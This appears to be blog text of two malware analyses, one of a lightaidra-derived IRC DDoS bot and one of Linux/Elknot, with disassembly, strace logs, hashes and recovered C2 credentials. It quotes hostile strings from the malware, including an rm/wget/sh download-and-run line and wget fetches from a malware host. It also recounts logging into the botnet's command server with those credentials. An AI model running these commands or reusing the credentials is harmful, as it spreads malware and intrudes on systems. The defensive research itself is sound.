.text:0804994E var_220         = dword ptr -220h
.text:0804994E var_20E         = dword ptr -20Eh
.text:0804994E var_E           = word ptr -0Eh
.text:0804994E var_C           = dword ptr -0Ch
.text:0804994E        push    ebp
.text:0804994F        mov     ebp, esp
.text:08049951        sub     esp, 228h       ; char *
.text:08049957        mov     [ebp+var_E], 0
.text:0804995D        mov     [esp+228h+var_220], 200h
.text:08049965        mov     [esp+228h+var_224], 0
.text:0804996D        lea     eax, [ebp+var_20E]
.text:08049973        mov     [esp+228h+var_228], eax
.text:08049976        call    _memset
.text:0804997B        nop
.text:0804997C        mov     eax, offset a178_18_16_9680

offset of a178_18_16_9680 is filled with data of:
.rodata:0804F005 a178_18_16_9680 db '',0 
↑Which are a text of an IP and a port number.

OK, we got the IP and port number, don't get too excited yet & firing anything to that network! Let's confirm what IP is that, and the binary is the best teacher for it...
Following the flow, to find those data (IP:PORT) was used to connect to IRC server, as per PoC below:

text:08048FEB        mov     [esp+30h+var_30], 2
.text:08048FF2        call    _sleep
.text:08048FF7        mov     [esp+30h+var_30], 18h
.text:08048FFE        call    _malloc
.text:08049003        mov     [esp+30h+var_14], eax
.text:08049007        mov     eax, [esp+30h+var_14]
.text:0804900B        mov     [esp+30h+var_30], eax
.text:0804900E        call    connect_to_irc

Oh well, is obvious function name anyway, so I went to the mentioned function in .text:0804A0BC and after some operations of "details" in preparing IP, ports and hostname, it tries to make connection and jump to the authentication upon success (jnz short loc_804A234) or retrying, as per coded below:
.text:0804A220        call    _connect
.text:0804A225        cmp     eax, 0FFFFFFFFh
.text:0804A228        jnz     short loc_804A234
.text:0804A22A        mov     eax, 0FFFFFFFFh
.text:0804A22F        jmp     locret_804A33D

In this part I expect some important variables like AUTH, CHANNEL, NICK, USER, PASS, whatever, see it carefully:
.text:0804A234                 call    getrstr
.text:0804A239                 mov     eax, offset aS

Fetching from offset aS which contains:
.rodata:0804F042 aS              db '%s',0 

Then similar to aS, the CHANNEL's variable is set, as per below:
.text:0804A23E        mov     [esp+48h+var_3C], offset aLa ; contains "#LA"
.text:0804A246        mov     [esp+48h+var_40], eax
.text:0804A24A        mov     [esp+48h+var_44], 1Fh
.text:0804A252        mov     [esp+48h+var_48], offset channel
.text:0804A259        call    _snprintf

Following by the offset aS_0:
mov     eax, offset aS_0 ; "->%s"
mov     [esp+48h+var_3C], offset asc_804F04E ; contains "x"
mov     [esp+48h+var_40], eax
mov     [esp+48h+var_44], 3
mov     [esp+48h+var_48], offset nt
call    _snprintf

We have two variables filled now, they are:
offset channel ; "#LA" and offset aS_0 ; "x"
This "suggests" a typical IRC command for channel joining command to channel "#LA" for me, unless you can read it otherwise. The "x" value in offset aS_0 suggesting the PREFIX (or channel mode value, which is likely not) OK.. :-)) Following..

This part is assembly of the password and send it to the connected channel..

.text:0804A284        mov     eax, [ebp+arg_0]
.text:0804A287        mov     eax, [eax]
.text:0804A289        mov     [esp+48h+var_3C], offset aEymurmyafg
      // offset aEymurmyafg contains 
         "eYmUrmyAfG" now..
.text:0804A291        mov     [esp+48h+var_40], offset aPass
      // offset aPass contains string:
        "PASS" now
.text:0804A299        mov     [esp+48h+var_44], offset aSS_0
      // Assemble those two strings to aSS_0 with:
         "%s %s\n"
.text:0804A2A1        mov     [esp+48h+var_48], eax

Connecting, checking and jumping to the next flow:
.text:0804A2A4        call    sockwrite
.text:0804A2A9        test    eax, eax
.text:0804A2AB        jz      short loc_804A2B7
.text:0804A2AD        mov     eax, 0FFFFFFFFh
.text:0804A2B2        jmp     locret_804A33D

I'll make this shorter from now, since is already 3:30am here..time zone.. If the above gone well, the nickname will be set by:

.text:0804A2B7        mov     edx, ds:data_ptr
.text:0804A2BD        mov     eax, [ebp+arg_0]
.text:0804A2C0        mov     eax, [eax]
.text:0804A2C2        mov     [esp+48h+var_40], edx
.text:0804A2C6        mov     [esp+48h+var_44], offset aNickS
  // aNickS is now contains: 
     "NICK %s\n"
.text:0804A2CE        mov     [esp+48h+var_48], eax
.text:0804A2D1        call    sockwrite
.text:0804A2D6        test    eax, eax
.text:0804A2D8        jz      short loc_804A2E1
.text:0804A2DA        mov     eax, 0FFFFFFFFh
.text:0804A2DF        jmp     short locret_804A33D

Which this offset aNickS's %s was needed to be filled in. ..And, the USER is set in:
.text:0804A2E1       mov     eax, [ebp+arg_0]
.text:0804A2E4       mov     eax, [eax]
.text:0804A2E6       mov     [esp+48h+var_44], offset aUserAssLocalho 
   // aUserAssLocalho contains data of:
      "USER ass localhost localhost :Stallion\n"...
.text:0804A2EE       mov     [esp+48h+var_48], eax
.text:0804A2F1       call    sockwrite
.text:0804A2F6       test    eax, eax
.text:0804A2F8       jz      short loc_804A301
.text:0804A2FA       mov     eax, 0FFFFFFFFh
.text:0804A2FF       jmp     short locret_804A33D

In the login() function I found the way it received the communication (bot mode) from other user, below is how to crack the request came (a@underworld) and the password used (pussy):
.text:08049319 ; initiation....
.text:08049319 login  proc near : refer to origin => cmd_login
.text:08049319 var_18          = dword ptr -18h
.text:08049319 var_14          = dword ptr -14h
.text:08049319 var_10          = dword ptr -10h
.text:08049319 var_C           = dword ptr -0Ch
.text:08049319 arg_0           = dword ptr  8
.text:08049319 arg_4           = dword ptr  0Ch
.text:08049319 ; here we go...
.text:08049319        push    ebp
.text:0804931A        mov     ebp, esp
.text:0804931C        sub     esp, 18h        ; char *
.text:0804931F        mov     eax, [ebp+arg_4]
      ; var for receiving a@underworld command..via login..
.text:08049322        mov     [esp+18h+var_14], offset a@underworld ; "@UnderWorld"
.text:0804932A        mov     [esp+18h+var_18], eax
.text:0804932D        call    _strstr
.text:08049332        test    eax, eax
.text:08049334        jz      short loc_80493A5
.text:08049336        mov     eax, [ebp+arg_4]
.text:08049339        add     eax, 0E0h
.text:0804933E        mov     [esp+18h+var_10], 5
.text:08049346        mov     [esp+18h+var_14], eax
      ; var for receiving / auth sequence next command..via login..
      ; password = pussy
.text:0804934A        mov     [esp+18h+var_18], offset aPussy ; "pussy"
.text:08049351        call    _strncmp
.text:08049356        test    eax, eax
.text:08049358        jnz     short loc_8049388
.text:0804935A        mov     eax, [ebp+arg_4]
.text:0804935D        lea     edx, [eax+1]
.text:08049360        mov     eax, [ebp+arg_0]
.text:08049363        mov     eax, [eax]
.text:08049365        mov     [esp+18h+var_C], edx
.text:08049369        mov     [esp+18h+var_10], offset channel
.text:08049371        mov     [esp+18h+var_14], offset aPrivmsgSLoginY 
      ; auth passed!! "PRIVMSG %s :[login] you are logged in, "...
.text:08049379        mov     [esp+18h+var_18], eax
.text:0804937C        call    sockwrite
.text:08049381        mov     eax, 0
.text:08049386        jmp     short locret_80493AA

Are we done here?? NO! what is the NICK used??
Seeking the assembly code I found the function getstr() function called by irc_connect() function contains the NICK allocated variable which if we trail it.. it'll lead us to below code to figured that the value returned to the NICK's "%s" is [Intel]+%s:
.text:080491CE ; getrstr() trailing cont'd...
.text:080491CE      cmp     [ebp+var_C], 9
.text:080491D2      jle     short loc_804919B
.text:080491D4      mov     edx, offset aSS ; "%s%s"
.text:080491D9      mov     eax, ds:data_ptr
.text:080491DE      lea     ecx, [ebp+var_42]
.text:080491E1      mov     [esp+78h+var_68], ecx
.text:080491E5      mov     [esp+78h+var_6C], offset aIntel ; "[Intel]"
.text:080491ED      mov     [esp+78h+var_70], edx
.text:080491F1      mov     [esp+78h+var_74], 0Fh
.text:080491F9      mov     [esp+78h+var_78], eax
.text:080491FC      call    _snprintf
.text:08049201      mov     eax, ds:data_ptr
.text:08049206      add     esp, 70h
.text:08049209      pop     ebx
.text:0804920A      pop     esi
.text:0804920B      pop     ebp
.text:0804920C      retn
.text:0804920C getrstr         endp

Reversing Result

Putting all reversed strings together, these are what I can gather for the "credentials" from reverse engineering the sample:

  IRC Server:
  IRC Port: 80
  USER: "ass localhost localhost :Stallion"
  PASS: "eYmUrmyAfG"
  NICK: "[Intel]+%s"
  Bot request LOGIN ID: "a@UnderWorld"
  Bot request AUTH PASS: "pussy"

So far so good, except..time is up.. @wirehack7 seems happy receiving these credentials, and I am not, sigh.. I usually see what is recorded in the memory's register to find what's missing (this case: the %s in the NICK name used to spoof NICK during connecting the IRC channel) and so on, which is a faster recommendation than to compare calculated value of them, but, I also suspect a function with formula (or maybe randomized) used... OK! Since the situation was: time is up and I couldn't do emulation for the registers, so I tend to do the workaround to solve parameter after [Intel] in NICK with network snapshot. In is a "C-" reversing for me if I must score myself reversing in this work..

Moving on! Why I picked the network analysis instead running it and debug the memory? I have my own reason: since this actor who made codes the binary is trying to camouflage original code of lightaidra, but it looks like he has no much skill in C programming except stripping the labels & change values of lightaidra ircd :-)), which means we can hope for "plain text traffic in http port" that looks so very delicious to me. For this analysis we will go to Network Traffic section, hold on tight!

In additional to the reversing result, for the "extra values" You can see the list of other callbacks to another domain/IP used by this malicious attacker tool I found and figured during the reversing as per table below:

Domain/IPURL/Header/CodesPurpose mov [esp+238h+var_234], offset aGetPlainHttp1_ ; "GET /plain HTTP/1.0\nHost:\n\n"Ping Back (checking internet connection?) mov [esp+48h+var_40], offset aHttp192_99_168 ; ""

.text:0804DA3C mov [esp+48h+var_44], offset aRmRfVarRunGb_s ; "rm -rf /var/run/;mv /usr/bin/-wget; /usr/bin/wget; wget -c %s/ -P /var/run && sh /var/run/ &\n "...

Download malware for updates/installation flood proc near
.text:0804E59B call setup_ip_header
.text:0804E47F mov [esp+18h+var_18], offset a192_168_3_100
.text:0804E486 call _inet_addr
Spoof local network for attack IP header
Which is likely not being found any of these IPs in the original lightaidra ircd so far..

For the two cents in reversing, please aim your target, if you get stuck on something by following several flow that means to you must do it all over again, but in "overall scope, to see what was missing there..

Behavior and Debug Analysis

It won't be much information to be grabbed in debugging mode if the program is daemonized unless we trace the daemon process(es) too, and doing that would affect the test bed, so I dropped the idea for the oerall debugging and stick to the initial behavior analysis, which is needed to check whether the binary analysis is correct in predicted the runtime environment information, since we need to PoC something from Network Traffic analysis, so we have to make sure this "garbage" can really run.

After some fail attempts and then patching libs & seeking systems that is having requirement needed in glibc functions (mentioned in binary analysis writing) and the shared library needed (mentioned also in binary analysis part), I finally can run the binary without a problem, as per shown in the debug log below, with exit group(0), I pasted below in case needed as a run PoC for traffic analysis or as reference to ID this malware by others:

execve("./nintendo", ["./nintendo"], [/* 13 vars */]) = 0
brk(0)                                  = 0x1cad000
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1789000
access("/etc/", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=55842, ...}) = 0
mmap(NULL, 55842, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f0ec177b000
close(3)                                = 0
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@\\\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=131107, ...}) = 0
mmap(NULL, 2208672, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f0ec1350000
mprotect(0x7f0ec1367000, 2093056, PROT_NONE) = 0
mmap(0x7f0ec1566000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16000) = 0x7f0ec1566000
mmap(0x7f0ec1568000, 13216, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1568000
close(3)                                = 0
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\357\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1599504, ...}) = 0
mmap(NULL, 3713112, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f0ec0fc5000
mprotect(0x7f0ec1147000, 2093056, PROT_NONE) = 0
mmap(0x7f0ec1346000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x181000) = 0x7f0ec1346000
mmap(0x7f0ec134b000, 18520, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f0ec134b000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec177a000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1779000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1778000
arch_prctl(ARCH_SET_FS, 0x7f0ec1779700) = 0
mprotect(0x7f0ec1346000, 16384, PROT_READ) = 0
mprotect(0x7f0ec1566000, 4096, PROT_READ) = 0
mprotect(0x7f0ec178b000, 4096, PROT_READ) = 0
munmap(0x7f0ec177b000, 55842)           = 0
set_tid_address(0x7f0ec17799d0)         = 29240
set_robust_list(0x7f0ec17799e0, 0x18)   = 0
futex(0x7fff9b1a7bbc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 7f0ec1779700) = -1 EAGAIN (Resource temporarily unavailable)
rt_sigaction(SIGRTMIN, {0x7f0ec1355ad0, [], SA_RESTORER|SA_SIGINFO, 0x7f0ec135f030}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x7f0ec1355b60, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7f0ec135f030}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f0ec17799d0) = 29245
↑please noted I used the x64 binary for this test..

Network Traffic

The point of the network traffic analysis is to seek the NICK values and to check in details of the botnet CNC protocol (in IRC protocol, obviously) used. This information will be used by us to compromise the bad actor's network to grab the further details about the Bot Herder networking and his ID.

The overall traffic is as per below picture:

Be noted that, most of the IRC is not running on port 80. So the wireshark stamped capture I made in tcpdump as "Continuation or Non-HTTP traffic" :-)

In every TCP stream, the CNC communication "protocol" is as per expected (plain text) which is shown in a set of a success request & response commands under one session of connection via this malware as soon as it runs as per below capture:

↑You can see there the herder's IRC handle names: Izan and StyxCoD, with the "further deeper information" can be read more in the "Part Two", and the values of the IRC connections we figured in reversing part are correct afterall.

The CNC's "HELO" or initial Protocol is indeed as per following format:

PASS "eYmUrmyAfG"
NICK "[Intel]pyy3zyw"
USER "ass localhost localhost :Stallion"
( Replies from CNC - Redacted )
PART "#Auth"
JOIN "#LA :ping"
( Replies from CNC - Redacted )

And yes, now we can now "confirm" the NICK command used now, as "[Intel]pyy3zyw". My mission is now accomplished :-)

The CnC Investigation, Attacker PoC & Bad Actor analysis

Our friend @wirehack7 is writing this section's good analysis in his blog here--->[Threat analysis: Zendran ELF DDoS scheme (lightaidra ircd base) | Part 2: CnC & The bad actor]
Using the credential information investigated in this post, the CNC was compromised and there are a lot of data grabbed for the cyber criminal investigation.
All of the materials and PoC in "The Part Two" post I supervised, checked and confirmed accordingly. The report and image snapshot provided are compiled in a way that can be used as cyber crime evidence, and since one of the bad actor looks living in Jacksonville, United States (+ he is in the deep trouble now), the materials will very useful to be used by FBI to open investigation against them :-))

The method of this investigation is shared to "inspire" people who are fighting against DDoS sources, and hopefully this method can be useful to reduce similar threat's source.

Additionally, looks like we hit a jackpot, some moronz in the mentioned CnC account yelled "ouch! in twitter to us ;-)

Moral of Story

This ELF evil tool was built by amateur malware coder..judging by the codes and the way it was compiled, and I am sure they are "skids" in level (sorry for that "ouch" words but this malcoder deserved it). We need to, and obligated to make sure these actors won't go far with making such tools and hacking other's host to install it and use it to attack to another network. Right now, as per seen in the "Part Two" they are opening campaign of tutoring this attack tool in youtube video and that is never be good.

The multi architecture aimed in binary types shown in the malware installer script is making us really worry. I know some routers, or PLC devices with the ssh which run in global environments under same GLIBC version, or some linux computers or several game boxes under those chipsets which running the libraries too. This malware can aim those architectures mentioned, and one can get so surprised if finding his routers, servers, PLC control panels or game boxes, (or maybe Televisions!) being used for DDoS attack right?

I really hope this case can be followed well by law enforcement to start opening a new cyber crime investigation.

Samples are all in VT, sharing downloads will be started in a while, first, give us time to clean up our work dusts..we really spent much time finishing writing these posts and the case's bad actor's fighting is on going too.

Stay safe, folks! #MalwareMustDie!

Tuesday, May 13, 2014

MMD-0021-2014 - Linux/Elknot: China's ELF DDoS+backdoor

Our friend was capturing this "attacker" in his trap (thank's wirehack7), and I found it interesting + attempted to make a video to analyze its binary and to write it down in this post.

The attacker's information

We did not release the source information of the attacker before since we wanted to be sure about the source IP. Now we are sure and having some evidence about this, hence a disclosure: The attacker was coming from China network IP: connection (with the below details)

via SSH protocol to our trap, with afterward downloading the ELF malware directly from via "wget" which is also is in China IP address as per shown below, in a Chinese web server (called: HFS):

And then we know that the malware is trying to connect back to that China IP: as per hard coded in the binary. Later on, we suggest this attack is highly suspected originated from China, by Chinese actor(s), for whatever malicious purpose they after, and I think you should know about this case too.

The URL used to download the malware is as per masked below:

wget h00p:// 222.76 .210.140:81/xx64
wget h00p:// 222.76 .210.140:81/xx32
Which was served under "HFS" (Chinese Web Server) that is currently up as per below sigs:
---response begin---
HTTP/1.1 404 隆孀欺
Content-Type: text/html
Accept-Ranges: bytes
Server: HFS 2.3 beta
Now the malware "looks" removed from the server. If you see the meaning of "隆孀欺" is an interesting meaning (try to Google translate it is fun).

For me it's likely not a coincidence (like a hack cases) to see a root directory of a web service under unusual port number (81) and serving a malicious set of tools. Thank's to the good setting of the "trap", so we got all installation attempt recorded as I remade in following video and additionally, samples! :-)

As you can see in the video above, the file was successfully downloaded. The "attacker tried to download xx32 binary and failed at the beginning of the session and continuing download xx64, a 64 architecture binary, which he is not successfully running it (smile), and he tried to download the xx32 binary afterwards, which also fail to start (no comment about this).

So we have the two new binaries downloaded with the generosity of the attacker and it was uploaded in the Virus Total as per below links:

The xx32, link is here-->>[VirusTotal]

SHA256: c9430a0b8bdbb92918da25d41d33d9b1c72d0224ea5793a0e1fc2083184f3a32
File name: 20140511130222_http___222_76_210_140_81_xx32
Detection ratio: 7 / 52
Analysis date: 2014-05-11 16:48:40 UTC 
( "20 hours", 30 minutes ago )
   Avast                ELF:Farfli-B [Trj]      20140511
   CAT-QuickHeal        Linux.Elknot.E5f        20140510
   DrWeb                Linux.DDoS.1            20140511
   ESET-NOD32           Linux/Agent.H           20140511
   Ikarus               DoS.Linux.Elknot        20140511
   Kaspersky            Backdoor.Linux.Mayday.f 20140511
   Microsoft            DoS:Linux/Elknot.E      20140511

The xx64, link is here-->>[VirusTotal]

SHA256: 3f3fcfdbb211d79d18c386afa973f1182977120a1c61f774105fa9326c4192ce
File name: 20140511130124_http___222_76_210_140_81_xx64
Detection ratio: "3 / 44"
Analysis date: 2014-05-11 16:41:29 UTC 
( "20 hours", 38 minutes ago )
   Avast                ELF:Elknot-M [Trj] 20140511
   CAT-QuickHeal        Linux.Elknot.E61   20140510
   Microsoft            DoS:Linux/Elknot.E 20140511
For the further details, I share my analysis as per written in sections to come.

Binary Analysis

Snipping NIX hd command I can see the both files are ELF, in 32 and 64 bit form,

00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  10 81 04 08 34 00 00 00  |............4...|
00000020  1c 0a 10 00 00 00 00 00  34 00 20 00 05 00 28 00  |........4. ...(.|
..and when firing NIX file the summary of the binary is clearly reported, I picked the 32 bit one, is self explanatory..:
xx32: ELF 32-bit LSB executable, 
Intel 80386, version 1 (SYSV), 
statically linked, for GNU/Linux 2.2.5, not stripped
for the reversing purpose I need more information, so I use my elf reader script to get some pointers like this header parts:
  Data:                              2's complement, little endian
  Entry point address:               0x8048110
  Start of program headers:          52 (bytes into file)
  Start of section headers:          1051164 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         5
  Size of section headers:           40 (bytes)
  Number of section headers:         27
  Section header string table index: 24
To analyze the binary, the below information also I retrieved beforehand, like what program headers used:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0xfd571 0xfd571 R E 0x1000
  LOAD           0x0fd574 0x08146574 0x08146574 0x02414 0x4b160 RW  0x1000
  NOTE           0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R   0x4
  TLS            0x0fd574 0x08146574 0x08146574 0x00000 0x00008 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
Below is the segment sections:
  Segment | Sections...
   00     .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table .note.ABI-tag 
   01     .ctors .dtors .jcr .got .got.plt .data .bss __libc_freeres_ptrs 
   02     .note.ABI-tag 
   03     .tbss
Noted there are some un-named sections..

What this binary "doesn't have" is actually very important for further analysis, like the below data:

No dynamic section in this file.
No section groups in this file.
No relocations in this file.
No unwind sections in this file.
No version information found in this file.
Interestingly, I noticed at the offset 0x000000d4 with length 0x00000020 it contains the below data..
  Owner  Data size Description
  "GNU"  0x00000010 "NT_VERSION" (version)
OMG, so we have a GNU Linux ELF with NT_VERSION here :-D

The "Symbols", is in the so-called .symtab' sections and contains 5963 entries (wow!), too long to paste here so I use pastebin here-->[MMD Pastebin].
The malware binary sample has huge unstripped strings, so I dare not uploading them all to pastebin because is just too big, but always be noted all of the below strings used for networking (name solving/DNS), which, in my opinion, the last part is showing the traces of libnss traces:

0x00E3305   0x00E3305   LOCALDOMAIN
0x00E3311   0x00E3311   /etc/resolv.conf
0x00E3322   0x00E3322   domain
0x00E3329   0x00E3329   search
0x00E3330   0x00E3330   nameserver
0x00E333B   0x00E333B   sortlist
0x00E3344   0x00E3344   options
0x00E334C   0x00E334C   RES_OPTIONS
0x00E3361   0x00E3361   multi
0x00E3367   0x00E3367   nospoof
0x00E336F   0x00E336F   spoofalert
0x00E337A   0x00E337A   reorder
0x00E338F   0x00E338F   nowarn
0x00E3396   0x00E3396   RESOLV_HOST_CONF
0x00E33A7   0x00E33A7   RESOLV_SERV_ORDER
0x00E33B9   0x00E33B9   RESOLV_SPOOF_CHECK
0x00E33CC   0x00E33CC   RESOLV_MULTI
0x00E33D9   0x00E33D9   RESOLV_REORDER
0x00E341D   0x00E341D   /etc/host.conf
0x00E342C   0x00E342C   %s: line %d: expected service, found 
0x00E3458   0x00E3458   %s: line %d: list delimiter not followed by keyword
0x00E348C   0x00E348C   %s: line %d: cannot specify more than %d services
0x00E34C0   0x00E34C0   %s: line %d: cannot specify more than %d trim domains
0x00E34F8   0x00E34F8   %s: line %d: list delimiter not followed by domain
0x00E352C   0x00E352C   %s: line %d: expected 
0x00E3543   0x00E3543   on' or '
0x00E354B   0x00E354B   off', found 
0x00E3560   0x00E3560   %s: line %d: bad command 
0x00E3580   0x00E3580   %s: line %d: ignoring trailing garbage 
0x00E35BC   0x00E35BC   aliases
0x00E35C4   0x00E35C4   ethers
0x00E35CB   0x00E35CB   netgroup
0x00E35D4   0x00E35D4   networks
0x00E35DD   0x00E35DD   passwd
0x00E35E4   0x00E35E4   protocols
0x00E35EE   0x00E35EE   publickey
0x00E35FC   0x00E35FC   services
0x00E3605   0x00E3605   shadow
0x00E360C   0x00E360C   illegal status in __nss_next
0x00E3629   0x00E3629   NOTFOUND
0x00E3632   0x00E3632   TRYAGAIN
0x00E363B   0x00E363B   CONTINUE
0x00E3644   0x00E3644   SUCCESS
0x00E364C   0x00E364C   UNAVAIL
0x00E3654   0x00E3654   RETURN
0x00E365B   0x00E365B   /etc/nsswitch.conf
0x00E366E   0x00E366E   nis [NOTFOUND=return] files
0x00E368A   0x00E368A   dns [!UNAVAIL=return] files

Thinking that I might get lucky since the binary is unstripped so I search for the source code used to build this "tool" and grabbed the filename as per below:

Since the binary is staticlaly compiled and not dynamically linked to any library, we can see some original functions coded inside of this malware, which also explained the big size in codes.

Seeking further, I found the compilation environment used:

GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10)
And, as the bonus, the CNC IP address in hard coded, yaay! :-D
0x00CCC31   0x00CCC31   ""

Reversing & Trailing the assembly reversed

By seeing the cpp file names and the symbols used (see above section), half of mistery was actually "almost" solved and this file is definitely malicious. But to be sure, it's nice to trail it down in reversing mode, by any tools..anything will do, to confirm its maliciousness. Right about doing it, I got the advise that it would be nice also to make reversing video for others to learn, so I choosed IDA for this purpose because is "animated" and comprehensive :-).

In the file listed above there is the main.cpp which is suggesting me that main() function is a good place to start. You can see the video below, but noted: this is not the very details reversing (I can't make long video anyway) and is for the summary purpose, so I skim the flow in understandable way to get the whole idea. Please feel free do it yourself for getting your preferable result and focus:

As you see in the trailing the reversed code above that it grabs the environmental information (gethostname was called many times & so does open of system info files) during initiation, some networking to start operation, and then trying to establish connection to the remote IP address, to the hard coded IP address and some to the "targeted" hosts.. By the way, the hard coded IP address is the same IP where this malware was downloaded, the

Then we see this malware is demonized, listening to the socket, looping for continuing to connect operation is detected. And also reading and writing the an INI file (which they malcoder called this as "fake config" for some reason..). We can see some aggressive calls to perform the "attack" by allocating a form of data from the buffer in there. Also can be seen the function to encode the data which suggesting the CNC communication is in encrypted mode, as per shown in video, the usage the xor key used can be "utilised" to decrypt ones, had no chance to try it yet though..

Last one, the usage of some functions in libnss is suggesting the pairing in encryption, and so on.. Additionaly you'll see many interesting detail functions was used too. These functions was made so detail to run the binary as standalone purpose.

It is indeed interesting! So I was attempted further debug and make another video for debugging! Never did this before.. I hope to see the CNC communication & the effort to attack :-), please see next section.

Behavior and Network Analysis

As you see in the above sections, we know how the binary is formed and summary of the malicious operations observed in reversing, so now how does it actual current work?

Shortly, I dare myself to make video of behavior analysis I tested too :-) with the details that I will explain further, see the below:

Maybe you can not see it well in the flash where debug and running this, so let me explain also as following: The host information was grabbed by the system calls "uname()" together with the networking information (hosts, resolve.conf,etc..).

execve("./xx32", ["./xx32"], [/* 21 vars */]) = 0
uname({sys="Linux", node="", ...}) = 0
getpid()                                = 13441
open("/proc/cpuinfo", O_RDONLY)         = 3
read(3, "processor\t: 0\nvendor_id\t: Genuin"..., 1024) = 375
open("/proc/stat", O_RDONLY)            = 3
read(3, "cpu  144019 163 172448 286301101"..., 1024) = 694
open("/proc/net/dev", O_RDONLY)         = 3
read(3, "Inter-|   Receive               "..., 1024) = 575
readlink("/proc/13441/exe", "/xx/xx/xx/xx32", 1024) = 38
open("/etc/resolv.conf", O_RDONLY)      = 3
read(3, "search b.b.b.b"..., 4096) = 156
open("/etc/host.conf", O_RDONLY)        = 3
Usage of libnss..with the below trace:
read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1623
open("/lib/", O_RDONLY) = 3
open("/lib/tls/", O_RDONLY)    = 3
And loading the system command overriding API..
open("/etc/", O_RDONLY)      = 3
open("/lib/", O_RDONLY)    = 3
Deleting the INI file if exist and creating new one:
unlink("/xx/xx/xx/xx32\\xmit.ini") = -1 ENOENT (No such file or directory)
open("/xx/xx/xx/xx32\\xmit.ini", O_RDWR|O_CREAT|O_TRUNC, 0666) = 3
fstat64(3, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7bc7000
write(3, "0\r\n127.0.0.1:\r\n10000:60"..., 49) = 49
close(3)                                = 0
After spartan efforts (noted the "s") to write the INI files:
rt_sigprocmask(SIG_SETMASK, NULL, [RTMIN], 8) = 0
write(4, "\340r\24\10\0\0\0\0(\224\375\10\16\220\5\10 \224\375\10\0\0\0\200\0\0\0\0T\212\24\10"..., 148) = 148
rt_sigprocmask(SIG_SETMASK, NULL, [RTMIN], 8) = 0
--- SIGRTMIN (Unknown signal 32) @ 0 (0) ---
<... rt_sigsuspend resumed> )           = -1 EINTR (Interrupted system call)
sigreturn()                             = ? (mask now [RTMIN])
It tried to connect to the hard coded IP address mentioned.
setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(5, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(5, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(5, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(5, {sa_family=AF_INET, sin_port=htons(6009), 
sin_addr=inet_addr("")}, 16) = -1 EINPROGRESS (Operation now in progress)
As you can see the snapshot of the PCAP taken....

.. the CNC was refusing the TCP handshake connection (RST,ACK). In debug codes is as per below:
setsockopt(5, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(5, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(5, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
